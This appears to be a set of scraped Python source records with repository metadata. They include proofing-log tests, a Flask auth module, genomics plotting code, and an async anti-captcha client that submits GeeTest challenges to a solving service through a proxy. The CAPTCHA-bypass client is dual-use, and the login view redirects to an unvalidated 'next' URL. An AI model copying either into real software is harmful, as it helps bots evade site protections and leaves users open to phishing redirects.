key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertIsNotNone(hit['nin']) self.assertIsNotNone(hit['user_postal_address']) self.assertEqual(hit['vetting_by'], 'Freja eID') self.assertEqual(hit['transaction_id'], 'transaction_id') self.assertEqual(hit['opaque_data'], 'some data') self.assertEqual(hit['proofing_method'], 'se-leg') self.assertEqual(hit['proofing_version'], 'test') def test_blank_string_proofing_data(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'phone_number': 'some_phone_number', 'proofing_version': 'test', 'reference': 'reference id', } proofing_element = PhoneNumberProofing(**data) proofing_element.phone_number = '' self.assertFalse(self.proofing_log_db.save(proofing_element)) def test_boolean_false_proofing_data(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'phone_number': 'some_phone_number', 'proofing_version': 'test', 'reference': 'reference id', } proofing_element = PhoneNumberProofing(**data) proofing_element.phone_number = 0 self.assertTrue(self.proofing_log_db.save(proofing_element)) proofing_element = PhoneNumberProofing(**data) proofing_element.phone_number = False self.assertTrue(self.proofing_log_db.save(proofing_element))

40.203571

99

0.616416

from copy import deepcopy from unittest import TestCase from eduid_userdb.fixtures.users import mocked_user_standard from eduid_userdb.logs.db import ProofingLog from eduid_userdb.logs.element import ( LetterProofing, MailAddressProofing, PhoneNumberProofing, ProofingLogElement, SeLegProofing, SeLegProofingFrejaEid, TeleAdressProofing, TeleAdressProofingRelation, ) from eduid_userdb.testing import MongoTemporaryInstance from eduid_userdb.user import User __author__ = 'lundberg' class TestProofingLog(TestCase): def setUp(self): self.tmp_db = MongoTemporaryInstance.get_instance() self.proofing_log_db = ProofingLog(db_uri=self.tmp_db.uri) self.user = User.from_dict(mocked_user_standard.to_dict()) def tearDown(self): self.proofing_log_db._drop_whole_collection() def test_id_proofing_data(self): proofing_element = ProofingLogElement( eppn=self.user.eppn, created_by='test', proofing_method='test', proofing_version='test' ) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertEqual(hit['proofing_method'], 'test') def test_teleadress_proofing(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'reason': 'matched', 'nin': 'some_nin', 'mobile_number': 'some_mobile_number', 'user_postal_address': {'response_data': {'some': 'data'}}, 'proofing_version': 'test', } proofing_element = TeleAdressProofing(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertEqual(hit['reason'], 'matched') self.assertEqual(hit['proofing_method'], 'TeleAdress') self.assertEqual(hit['proofing_version'], 'test') def test_teleadress_proofing_relation(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'reason': 'matched_by_navet', 'nin': 'some_nin', 'mobile_number': 'some_mobile_number', 'user_postal_address': {'response_data': {'some': 'data'}}, 'mobile_number_registered_to': 'registered_national_identity_number', 'registered_relation': 'registered_relation_to_user', 'registered_postal_address': {'response_data': {'some': 'data'}}, 'proofing_version': 'test', } proofing_element = TeleAdressProofingRelation(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertEqual(hit['reason'], 'matched_by_navet') self.assertEqual(hit['proofing_method'], 'TeleAdress') self.assertEqual(hit['proofing_version'], 'test') def test_letter_proofing(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'nin': 'some_nin', 'letter_sent_to': {'name': {'some': 'data'}, 'address': {'some': 'data'}}, 'transaction_id': 'some transaction id', 'user_postal_address': {'response_data': {'some': 'data'}}, 'proofing_version': 'test', } proofing_element = LetterProofing(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertIsNotNone(hit['letter_sent_to']) self.assertIsNotNone(hit['transaction_id']) self.assertEqual(hit['proofing_method'], 'letter') self.assertEqual(hit['proofing_version'], 'test') def test_mail_address_proofing(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'mail_address': 'some_mail_address', 'proofing_version': 'test', 'reference': 'reference id', } proofing_element = MailAddressProofing(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertEqual(hit['proofing_method'], 'e-mail') self.assertEqual(hit['mail_address'], 'some_mail_address') def test_phone_number_proofing(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'phone_number': 'some_phone_number', 'proofing_version': 'test', 'reference': 'reference id', } proofing_element = PhoneNumberProofing(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertEqual(hit['proofing_method'], 'sms') self.assertEqual(hit['phone_number'], 'some_phone_number') self.assertEqual(hit['proofing_version'], 'test') def test_se_leg_proofing(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'proofing_version': 'test', 'nin': 'national_identity_number', 'vetting_by': 'provider', 'transaction_id': 'transaction_id', 'user_postal_address': {'response_data': {'some': 'data'}}, } proofing_element = SeLegProofing(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertIsNotNone(hit['nin']) self.assertIsNotNone(hit['user_postal_address']) self.assertEqual(hit['vetting_by'], 'provider') self.assertEqual(hit['transaction_id'], 'transaction_id') self.assertEqual(hit['proofing_method'], 'se-leg') self.assertEqual(hit['proofing_version'], 'test') def test_se_leg_proofing_freja(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'proofing_version': 'test', 'nin': 'national_identity_number', 'transaction_id': 'transaction_id', 'opaque_data': 'some data', 'user_postal_address': {'response_data': {'some': 'data'}}, } proofing_element = SeLegProofingFrejaEid(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertIsNotNone(hit['nin']) self.assertIsNotNone(hit['user_postal_address']) self.assertEqual(hit['vetting_by'], 'Freja eID') self.assertEqual(hit['transaction_id'], 'transaction_id') self.assertEqual(hit['opaque_data'], 'some data') self.assertEqual(hit['proofing_method'], 'se-leg') self.assertEqual(hit['proofing_version'], 'test') def test_blank_string_proofing_data(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'phone_number': 'some_phone_number', 'proofing_version': 'test', 'reference': 'reference id', } proofing_element = PhoneNumberProofing(**data) proofing_element.phone_number = '' self.assertFalse(self.proofing_log_db.save(proofing_element)) def test_boolean_false_proofing_data(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'phone_number': 'some_phone_number', 'proofing_version': 'test', 'reference': 'reference id', } proofing_element = PhoneNumberProofing(**data) proofing_element.phone_number = 0 self.assertTrue(self.proofing_log_db.save(proofing_element)) proofing_element = PhoneNumberProofing(**data) proofing_element.phone_number = False self.assertTrue(self.proofing_log_db.save(proofing_element))

true

790b036e68901d1876285f11feba3daadc8966dd

1,795

py

Python

aioanticaptcha/geetestproxyon.py

andrersp/aioanticaptcha

a9ec56ecd75371c9efed87eb874c3276b60e5461

[ "MIT" ]

null

aioanticaptcha/geetestproxyon.py

andrersp/aioanticaptcha

a9ec56ecd75371c9efed87eb874c3276b60e5461

[ "MIT" ]

null

aioanticaptcha/geetestproxyon.py

andrersp/aioanticaptcha

a9ec56ecd75371c9efed87eb874c3276b60e5461

[ "MIT" ]

null

from aioanticaptcha.antinetworking import * import asyncio class geetestProxyon(antiNetworking): js_api_domain = "" gt = "" challenge = "" geetest_lib = "" async def solve_and_return_solution(self): if ( await self.create_task( { "clientKey": self.client_key, "task": { "type": "GeeTestTask", "websiteURL": self.website_url, "gt": self.gt, "challenge": self.challenge, "geetestApiServerSubdomain": self.js_api_domain, "geetestGetLib": self.geetest_lib, "proxyType": self.proxy_type, "proxyAddress": self.proxy_address, "proxyPort": self.proxy_port, "proxyLogin": self.proxy_login, "proxyPassword": self.proxy_password, "userAgent": self.user_agent, }, } ) == 1 ): self.log("created task with id " + str(self.task_id)) else: self.log("could not create task") self.log(self.err_string) return 0 # checking result await asyncio.sleep(3) task_result = self.wait_for_result(600) if task_result == 0: return 0 else: return task_result["solution"] def set_gt_key(self, value): self.gt = value def set_challenge_key(self, value): self.challenge = value def set_js_api_domain(self, value): self.js_api_domain = value def set_geetest_lib(self, value): self.geetest_lib = value

30.423729

72

0.494708

from aioanticaptcha.antinetworking import * import asyncio class geetestProxyon(antiNetworking): js_api_domain = "" gt = "" challenge = "" geetest_lib = "" async def solve_and_return_solution(self): if ( await self.create_task( { "clientKey": self.client_key, "task": { "type": "GeeTestTask", "websiteURL": self.website_url, "gt": self.gt, "challenge": self.challenge, "geetestApiServerSubdomain": self.js_api_domain, "geetestGetLib": self.geetest_lib, "proxyType": self.proxy_type, "proxyAddress": self.proxy_address, "proxyPort": self.proxy_port, "proxyLogin": self.proxy_login, "proxyPassword": self.proxy_password, "userAgent": self.user_agent, }, } ) == 1 ): self.log("created task with id " + str(self.task_id)) else: self.log("could not create task") self.log(self.err_string) return 0 await asyncio.sleep(3) task_result = self.wait_for_result(600) if task_result == 0: return 0 else: return task_result["solution"] def set_gt_key(self, value): self.gt = value def set_challenge_key(self, value): self.challenge = value def set_js_api_domain(self, value): self.js_api_domain = value def set_geetest_lib(self, value): self.geetest_lib = value

true

790b038deca2b72154b1317ed77167b94ea5b07b

1,373

py

Python

app/auth/views.py

mwerumuchai/jukebox

eb6e7e94fb4a228e3b66477ca2ed0fcbe4c44691

[ "MIT" ]

null

app/auth/views.py

mwerumuchai/jukebox

eb6e7e94fb4a228e3b66477ca2ed0fcbe4c44691

[ "MIT" ]

null

app/auth/views.py

mwerumuchai/jukebox

eb6e7e94fb4a228e3b66477ca2ed0fcbe4c44691

[ "MIT" ]

2

2018-10-26T20:08:04.000Z

2020-07-23T22:08:43.000Z

from flask import render_template,redirect,url_for,request,flash from . import auth from ..models import Group from .forms import RegistrationForm,LoginForm from .. import db from flask_login import login_user,logout_user,login_required @auth.route('/login', methods=["GET", "POST"]) def login(): login_form = LoginForm() if login_form.validate_on_submit(): group = Group.query.filter_by( name=login_form.name.data).first() if group is not None and group.verify_password(login_form.password.data): login_user(group, login_form.remember.data) return redirect(request.args.get('next') or url_for('main.group', id=group.id)) flash('Invalid group name or password') title="Login" return render_template('auth/login.html', login_form=login_form, title=title) @auth.route('/logout') @login_required def logout(): logout_user() return redirect(url_for("main.index")) @auth.route('/register', methods=["GET", "POST"]) def register(): form = RegistrationForm() if form.validate_on_submit(): group = Group( name=form.name.data, password=form.password.data) db.session.add(group) db.session.commit() return redirect(url_for('auth.login')) title="New Account" return render_template('auth/register.html', registration_form=form, title=title)

24.517857

91

0.697742

from flask import render_template,redirect,url_for,request,flash from . import auth from ..models import Group from .forms import RegistrationForm,LoginForm from .. import db from flask_login import login_user,logout_user,login_required @auth.route('/login', methods=["GET", "POST"]) def login(): login_form = LoginForm() if login_form.validate_on_submit(): group = Group.query.filter_by( name=login_form.name.data).first() if group is not None and group.verify_password(login_form.password.data): login_user(group, login_form.remember.data) return redirect(request.args.get('next') or url_for('main.group', id=group.id)) flash('Invalid group name or password') title="Login" return render_template('auth/login.html', login_form=login_form, title=title) @auth.route('/logout') @login_required def logout(): logout_user() return redirect(url_for("main.index")) @auth.route('/register', methods=["GET", "POST"]) def register(): form = RegistrationForm() if form.validate_on_submit(): group = Group( name=form.name.data, password=form.password.data) db.session.add(group) db.session.commit() return redirect(url_for('auth.login')) title="New Account" return render_template('auth/register.html', registration_form=form, title=title)

true

790b052bd7820426511155774e42497715bf9ea3

9,377

py

Python

genecast_package/core.py

861934367/genecast

b4c5710aef526f4e3bdf0ba3594dab583068eca3

[ "Apache-2.0" ]

null

genecast_package/core.py

861934367/genecast

b4c5710aef526f4e3bdf0ba3594dab583068eca3

[ "Apache-2.0" ]

null

genecast_package/core.py

861934367/genecast

b4c5710aef526f4e3bdf0ba3594dab583068eca3

[ "Apache-2.0" ]

null

## this tool is the core function of cnv and snv analysis ## author: taozhou ## email: zhou.tao@genecast.com.cn import matplotlib as mpl mpl.use('Agg') import warnings warnings.filterwarnings("ignore") import itertools import seaborn as sns import matplotlib.pylab as plt import matplotlib.colors as mc from genecast_package.svm_analysis import feature_select, evaluate_model from sklearn.decomposition import PCA from collections import OrderedDict from collections import defaultdict import datetime import pandas as pd from scipy.stats import ranksums import os import sh import warnings warnings.filterwarnings("ignore") def z_score(data, axis): if axis == 3: return data if axis == 1: z_scored = data else: z_scored = data.T z_scored = (z_scored - z_scored.mean()) / z_scored.std() if axis == 1: return z_scored else: return z_scored.T def pheatmap(data, length, col_cluster=True, xticklabels=True, yticklabels=True, color=None, name=None, args=None): data = z_score(data, axis=args.z_score) if len(data.columns) > 30: xticklabels = False if len(data) > 80: yticklabels = False vmin, vmax = data.unstack().quantile([.05, .95]) if args.z_score == 3: vmin, vmax = 0, 4 re = sns.clustermap(data, cmap=args.cmp, row_cluster=True, method=args.cluster_method, col_cluster=col_cluster, figsize=(13, 10), \ xticklabels=True, yticklabels=yticklabels, vmin=vmin, vmax=vmax, col_colors=color) re.ax_heatmap.set_xticklabels(re.ax_heatmap.xaxis.get_majorticklabels(), rotation=90) re.ax_heatmap.set_yticklabels(re.ax_heatmap.yaxis.get_majorticklabels(), rotation=0) if col_cluster == False: for group, number in length.items(): re.ax_col_colors.text((number[0] + number[1])/2 + 1.5 - len(group)/2, 1.2, group, size=30) re.savefig(name + "." + args.save) else: re.savefig(name + "_col_cluster." + args.save) plt.close() def make_col_color_heatmap(group_dic, args=None): common_color = ["blue", "red", "green", "grey"] color = {}; length = {} temp = 0 i = 0 for name, group in group_dic.items(): length[name] = [temp, temp + len(group)] temp += len(group) for sample in group: color[sample] = common_color[i] i += 1 if args.ac and args.bc: color[group1] = args.ac color[group2] = args.bc color = pd.Series(color) color.name = "group" return color, length def pca(data, group_dic, n=None, args=None): pca = PCA(n_components=2) group = [] length = OrderedDict() temp = 0 for name, g in group_dic.items(): length[name] = [temp, temp + len(g)] temp += len(g) group += g data = data[group] newData = pca.fit_transform(data.T) colors = {} colors1 = ["blue", "red", "green", 'turquoise', "grey"] i = 0 for name, number in length.items(): colors[name] = colors1[i] i += 1 if args.ac and args.bc: colors[group1] = args.ac colors[group2] = args.bc for name, number in length.items(): plt.scatter(newData[number[0]:number[1], 0], newData[number[0]:number[1], 1], label=name, color=colors[name]) plt.title("PCA analysis", size=20) pc1 = 100*pca.explained_variance_ratio_[0] pc2 = 100*pca.explained_variance_ratio_[1] plt.xlabel("PC1(%.1f)" % pc1, size=15) plt.ylabel("PC1(%.1f)" % pc2, size=15) plt.legend() plt.savefig("PCA_%s.png" % n) plt.close() def plot_box(data, which, outname, palette, regulation, group, args=None): fig, ax1 = plt.subplots(figsize=(8,12)) box_data = defaultdict(list) names = [] if which == "cnv": how = "mean" for name, g in group.items(): names.append(name) box_data[name] = data[g] else: how = "sum" for name, g in group.items(): names.append(name) box_data[name] = data[g] z, p = ranksums(box_data[names[0]], box_data[names[1]]) if p >= 0.05: plt.close() return data.to_csv(outname + "_box_data_%s" % (regulation) + ".txt", sep="\t") if args.ac and args.bc: group1 = list(group.keys())[0] group2 = list(group.keys())[1] palette[group1] = args.ac palette[group2] = args.bc sns.boxplot(data=pd.DataFrame(box_data), ax=ax1, width=0.2, linewidth=.5, palette=palette) ax1.set_title("Difference of %s (p = %f)" % (which, p), size=30) ax1.set_ylabel('%s value' % (which), size=30) fig.autofmt_xdate(ha='center', rotation=0) plt.xticks(rotation=0, size=30) plt.legend() fig.savefig(r'%s_box_data_%s_%s_Boxplot.%s' % (outname, regulation, how, args.save), dpi=600, size=0.5) plt.close() def databox(raw, which, outname=None, group=None, args=None): palette_up = {}; palette_down = {} up = []; down = [] group1_data = raw[list(group.values())[0]]; group1 = list(group.keys())[0] group2_data = raw[list(group.values())[1]]; group2 = list(group.keys())[1] for gene in raw.index: if group1_data.ix[gene].sum() - group2_data.ix[gene].sum() >= 0: up.append(gene); palette_up[group1] = "red"; palette_up[group2] = "blue" else: down.append(gene); palette_down[group1] = "blue"; palette_down[group2] = "red" if len(palette_up) > 0: for i in up: plot_box(raw.ix[i], which, i, palette_up, "up", group, args=args) if len(palette_down) > 0: for i in down: plot_box(raw.ix[i], which, i, palette_down, "down", group, args=args) def save_data_pdf(data, name, length, color, group_dic, which, args=None): data.to_csv("%s.txt" % name, sep="\t") length = {key.split("/")[-1]: value for key, value in length.items()} group_dic = {key.split("/")[-1]: value for key, value in group_dic.items()} try: pheatmap(data, length, col_cluster=True, color=color, name=name, args=args) pheatmap(data, length, col_cluster=False, color=color, name=name, args=args) except MemoryError: print("you gene need too much MemoryError and i, so pass and do next") pca(data, group_dic, n=name, args=args) databox(data, which, outname=name, group=group_dic, args=args) def save_parameters(args=None): f = open("parameters.txt", "w") for arg in dir(args): if not arg.startswith("_"): f.write(arg + ": " + str(getattr(args, arg)) + "\n") f.close() def make_result_folder(args=None, which="cnv", fun=None): feature_genes = []; gene_lists = {}; color_length = {} os.chdir(args.outdir) i = datetime.datetime.now() # for two_group in itertools.combinations([args.group1, args.group2], 2): two_group = [args.group1[0].split("/")[-2], args.group2[0].split("/")[-2]] target = args.group1[0].split("/")[-2] + "_VS_" + args.group2[0].split("/")[-2] + "_%s%s%s_%s%s" % (i.year, i.month, i.day, i.hour, i.minute) try: os.mkdir(target) except FileExistsError: sh.rm("-rf",target) os.mkdir(target) if which == "cnv": name = "cnv_median_" + args.data_type gene_list, a_group, b_group = fun(args=args) else: if args.cal_type == "num": name = "snv_number" else: name = "snv_mean" gene_list, a_group, b_group = fun(args=args) # feature_gene = feature_select(gene_list, a_group, b_group, pval=args.pval, method=args.feature_selection_method,\ # criterion=args.criterion, penalty=args.penalty, C=args.C, threshold=args.threshold) feature_gene = feature_select(gene_list, a_group, b_group, args=args) feature_genes.append(feature_gene) gene_lists[two_group[0]] = gene_list[a_group]; gene_lists[two_group[1]] = gene_list[b_group] os.chdir(target) save_parameters(args=args) group_dic = {two_group[0]: a_group, two_group[1]: b_group} color_length[two_group[0]] = a_group; color_length[two_group[1]] = b_group color, length = make_col_color_heatmap(group_dic, args=args) save_data_pdf(gene_list, "host_gene_%s" % name, length, color, group_dic, which, args=args) pd.DataFrame({"gene":feature_gene}).to_csv("feature_gene_pval%0.2f.txt" % args.pval, sep="\t", index=False) feature_gene_cnv = gene_list.ix[feature_gene] evaluate_model(gene_list, a_group, b_group, feature_gene, name="feature_gene_%s" % name, args=args) save_data_pdf(feature_gene_cnv, "feature_gene_%s" % name, length, color, group_dic, which, args=args) os.chdir(args.outdir) # if len(args.group1 + args.group2) > 2: # try: # os.mkdir("intersection") # except FileExistsError: # pass # os.chdir("intersection") # color, length = make_col_color_heatmap(color_length) # intersection_feature_gene = list(set(feature_genes[0]).intersection(*feature_genes[1:])) # intersection_feature_gene_cnv = pd.concat([data.ix[intersection_feature_gene] for [args.group1, args.group2], data in gene_lists.items()], axis=1) # try: # save_data_pdf(intersection_feature_gene_cnv, "intersection", length, color, color_length) # except Exception: # print("no intersection\njob finish...") # os.chdir(args.outdir)

39.23431

156

0.630266

ools import seaborn as sns import matplotlib.pylab as plt import matplotlib.colors as mc from genecast_package.svm_analysis import feature_select, evaluate_model from sklearn.decomposition import PCA from collections import OrderedDict from collections import defaultdict import datetime import pandas as pd from scipy.stats import ranksums import os import sh import warnings warnings.filterwarnings("ignore") def z_score(data, axis): if axis == 3: return data if axis == 1: z_scored = data else: z_scored = data.T z_scored = (z_scored - z_scored.mean()) / z_scored.std() if axis == 1: return z_scored else: return z_scored.T def pheatmap(data, length, col_cluster=True, xticklabels=True, yticklabels=True, color=None, name=None, args=None): data = z_score(data, axis=args.z_score) if len(data.columns) > 30: xticklabels = False if len(data) > 80: yticklabels = False vmin, vmax = data.unstack().quantile([.05, .95]) if args.z_score == 3: vmin, vmax = 0, 4 re = sns.clustermap(data, cmap=args.cmp, row_cluster=True, method=args.cluster_method, col_cluster=col_cluster, figsize=(13, 10), \ xticklabels=True, yticklabels=yticklabels, vmin=vmin, vmax=vmax, col_colors=color) re.ax_heatmap.set_xticklabels(re.ax_heatmap.xaxis.get_majorticklabels(), rotation=90) re.ax_heatmap.set_yticklabels(re.ax_heatmap.yaxis.get_majorticklabels(), rotation=0) if col_cluster == False: for group, number in length.items(): re.ax_col_colors.text((number[0] + number[1])/2 + 1.5 - len(group)/2, 1.2, group, size=30) re.savefig(name + "." + args.save) else: re.savefig(name + "_col_cluster." + args.save) plt.close() def make_col_color_heatmap(group_dic, args=None): common_color = ["blue", "red", "green", "grey"] color = {}; length = {} temp = 0 i = 0 for name, group in group_dic.items(): length[name] = [temp, temp + len(group)] temp += len(group) for sample in group: color[sample] = common_color[i] i += 1 if args.ac and args.bc: color[group1] = args.ac color[group2] = args.bc color = pd.Series(color) color.name = "group" return color, length def pca(data, group_dic, n=None, args=None): pca = PCA(n_components=2) group = [] length = OrderedDict() temp = 0 for name, g in group_dic.items(): length[name] = [temp, temp + len(g)] temp += len(g) group += g data = data[group] newData = pca.fit_transform(data.T) colors = {} colors1 = ["blue", "red", "green", 'turquoise', "grey"] i = 0 for name, number in length.items(): colors[name] = colors1[i] i += 1 if args.ac and args.bc: colors[group1] = args.ac colors[group2] = args.bc for name, number in length.items(): plt.scatter(newData[number[0]:number[1], 0], newData[number[0]:number[1], 1], label=name, color=colors[name]) plt.title("PCA analysis", size=20) pc1 = 100*pca.explained_variance_ratio_[0] pc2 = 100*pca.explained_variance_ratio_[1] plt.xlabel("PC1(%.1f)" % pc1, size=15) plt.ylabel("PC1(%.1f)" % pc2, size=15) plt.legend() plt.savefig("PCA_%s.png" % n) plt.close() def plot_box(data, which, outname, palette, regulation, group, args=None): fig, ax1 = plt.subplots(figsize=(8,12)) box_data = defaultdict(list) names = [] if which == "cnv": how = "mean" for name, g in group.items(): names.append(name) box_data[name] = data[g] else: how = "sum" for name, g in group.items(): names.append(name) box_data[name] = data[g] z, p = ranksums(box_data[names[0]], box_data[names[1]]) if p >= 0.05: plt.close() return data.to_csv(outname + "_box_data_%s" % (regulation) + ".txt", sep="\t") if args.ac and args.bc: group1 = list(group.keys())[0] group2 = list(group.keys())[1] palette[group1] = args.ac palette[group2] = args.bc sns.boxplot(data=pd.DataFrame(box_data), ax=ax1, width=0.2, linewidth=.5, palette=palette) ax1.set_title("Difference of %s (p = %f)" % (which, p), size=30) ax1.set_ylabel('%s value' % (which), size=30) fig.autofmt_xdate(ha='center', rotation=0) plt.xticks(rotation=0, size=30) plt.legend() fig.savefig(r'%s_box_data_%s_%s_Boxplot.%s' % (outname, regulation, how, args.save), dpi=600, size=0.5) plt.close() def databox(raw, which, outname=None, group=None, args=None): palette_up = {}; palette_down = {} up = []; down = [] group1_data = raw[list(group.values())[0]]; group1 = list(group.keys())[0] group2_data = raw[list(group.values())[1]]; group2 = list(group.keys())[1] for gene in raw.index: if group1_data.ix[gene].sum() - group2_data.ix[gene].sum() >= 0: up.append(gene); palette_up[group1] = "red"; palette_up[group2] = "blue" else: down.append(gene); palette_down[group1] = "blue"; palette_down[group2] = "red" if len(palette_up) > 0: for i in up: plot_box(raw.ix[i], which, i, palette_up, "up", group, args=args) if len(palette_down) > 0: for i in down: plot_box(raw.ix[i], which, i, palette_down, "down", group, args=args) def save_data_pdf(data, name, length, color, group_dic, which, args=None): data.to_csv("%s.txt" % name, sep="\t") length = {key.split("/")[-1]: value for key, value in length.items()} group_dic = {key.split("/")[-1]: value for key, value in group_dic.items()} try: pheatmap(data, length, col_cluster=True, color=color, name=name, args=args) pheatmap(data, length, col_cluster=False, color=color, name=name, args=args) except MemoryError: print("you gene need too much MemoryError and i, so pass and do next") pca(data, group_dic, n=name, args=args) databox(data, which, outname=name, group=group_dic, args=args) def save_parameters(args=None): f = open("parameters.txt", "w") for arg in dir(args): if not arg.startswith("_"): f.write(arg + ": " + str(getattr(args, arg)) + "\n") f.close() def make_result_folder(args=None, which="cnv", fun=None): feature_genes = []; gene_lists = {}; color_length = {} os.chdir(args.outdir) i = datetime.datetime.now() two_group = [args.group1[0].split("/")[-2], args.group2[0].split("/")[-2]] target = args.group1[0].split("/")[-2] + "_VS_" + args.group2[0].split("/")[-2] + "_%s%s%s_%s%s" % (i.year, i.month, i.day, i.hour, i.minute) try: os.mkdir(target) except FileExistsError: sh.rm("-rf",target) os.mkdir(target) if which == "cnv": name = "cnv_median_" + args.data_type gene_list, a_group, b_group = fun(args=args) else: if args.cal_type == "num": name = "snv_number" else: name = "snv_mean" gene_list, a_group, b_group = fun(args=args) feature_gene = feature_select(gene_list, a_group, b_group, args=args) feature_genes.append(feature_gene) gene_lists[two_group[0]] = gene_list[a_group]; gene_lists[two_group[1]] = gene_list[b_group] os.chdir(target) save_parameters(args=args) group_dic = {two_group[0]: a_group, two_group[1]: b_group} color_length[two_group[0]] = a_group; color_length[two_group[1]] = b_group color, length = make_col_color_heatmap(group_dic, args=args) save_data_pdf(gene_list, "host_gene_%s" % name, length, color, group_dic, which, args=args) pd.DataFrame({"gene":feature_gene}).to_csv("feature_gene_pval%0.2f.txt" % args.pval, sep="\t", index=False) feature_gene_cnv = gene_list.ix[feature_gene] evaluate_model(gene_list, a_group, b_group, feature_gene, name="feature_gene_%s" % name, args=args) save_data_pdf(feature_gene_cnv, "feature_gene_%s" % name, length, color, group_dic, which, args=args) os.chdir(args.outdir)

true

790b0587c2415c64ec38f584c0c79b320ea5c5f0

500

py

Python

mnc/lwa_hiplot.py

jaycedowell/mnc_python

bc378ccc9a6cfaf76691122f072366b13e6ef092

[ "BSD-3-Clause" ]

2

2021-08-12T18:18:11.000Z

2021-12-02T07:58:51.000Z

mnc/lwa_hiplot.py

jaycedowell/mnc_python

bc378ccc9a6cfaf76691122f072366b13e6ef092

[ "BSD-3-Clause" ]

1

2021-12-15T18:51:14.000Z

mnc/lwa_hiplot.py

jaycedowell/mnc_python

bc378ccc9a6cfaf76691122f072366b13e6ef092

[ "BSD-3-Clause" ]

1

2021-12-03T15:05:00.000Z

import hiplot import lwa_antpos def get_exp(uri): df = lwa_antpos.lwa_df.reset_index() df.drop(0, inplace=True) # remove antnum=0 df.antname = df.antname.apply(lambda x: int(x.split('-')[1])) df.rename(columns={'antname': 'antnum'}, inplace=True) df = df[['antnum', 'pola_fee', 'polb_fee', 'arx_address', 'pola_arx_channel', 'polb_arx_channel', 'snap2_hostname', 'pola_digitizer_channel', 'polb_digitizer_channel']] return hiplot.Experiment.from_dataframe(df)

38.461538

119

0.69

import hiplot import lwa_antpos def get_exp(uri): df = lwa_antpos.lwa_df.reset_index() df.drop(0, inplace=True) df.antname = df.antname.apply(lambda x: int(x.split('-')[1])) df.rename(columns={'antname': 'antnum'}, inplace=True) df = df[['antnum', 'pola_fee', 'polb_fee', 'arx_address', 'pola_arx_channel', 'polb_arx_channel', 'snap2_hostname', 'pola_digitizer_channel', 'polb_digitizer_channel']] return hiplot.Experiment.from_dataframe(df)

true

790b05ca0e0c618bfe1b0827b220b95931031312

1,092

py

Python

plugins/user.py

fosslife/grambot

fbec1a8df939823b18915d4689e9da6f5adb871b

[ "MIT" ]

7

2020-05-28T04:08:02.000Z

2022-02-22T18:11:03.000Z

plugins/user.py

fosslife/grambot

fbec1a8df939823b18915d4689e9da6f5adb871b

[ "MIT" ]

1

